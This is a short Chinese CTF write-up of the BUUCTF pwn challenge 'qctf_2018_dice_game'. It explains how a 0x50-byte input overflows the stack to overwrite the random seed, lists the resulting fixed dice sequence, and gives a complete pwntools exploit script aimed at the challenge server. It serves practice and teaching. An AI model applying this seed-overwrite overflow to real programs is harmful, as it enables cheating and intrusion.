BUUCTF pwn qctf_2018_dice_game

查看保护
BUUCTF pwn qctf_2018_dice_game_第1张图片

程序流程
BUUCTF pwn qctf_2018_dice_game_第2张图片
输入name后 连续猜对50次随机数即可获得flag
在这里插入图片描述在这里插入图片描述
输入buf的可以覆盖栈上的内容,那么输入0x50个字符就可以覆盖seed,最终产生的随机数就是定值了
考虑输入0x50个‘A’,那么写c程序
BUUCTF pwn qctf_2018_dice_game_第3张图片
可以获得生成的随机数列表
3, 3, 2, 1, 5, 3, 4, 6, 3, 4, 2, 2, 3, 2, 1, 1, 4, 5, 4, 6, 3, 6, 4, 3, 4, 2, 2, 6, 1, 2, 2, 3, 4, 1, 2, 1, 4, 5, 4, 6, 6, 5, 1, 3, 5, 5, 1, 2, 4, 2

那么依次输入这50个随机数就能获得flag

完整的ex

from pwn import *

context(log_level='debug')

#io=process("./QCTF_2018_dice_game")
io=remote("node3.buuoj.cn",27605)

io.recv()

payload=b'A'*(0x50)

io.sendline(payload)

io.recv()

point_list=[3,3,2,1,5,3,4,6,3,4,2,2,3,2,1,1,4,5,4,6,3,6,4,3,4,2,2,6,1,2,2,3,4,1,2,1,4,5,4,6,6,5,1,3,5,5,1,2,4,2]

for i in range(50):
	io.sendline(str(point_list[i]))
	io.recv()

io.interactive()

你可能感兴趣的:(pwn安全,python,安全,pwn)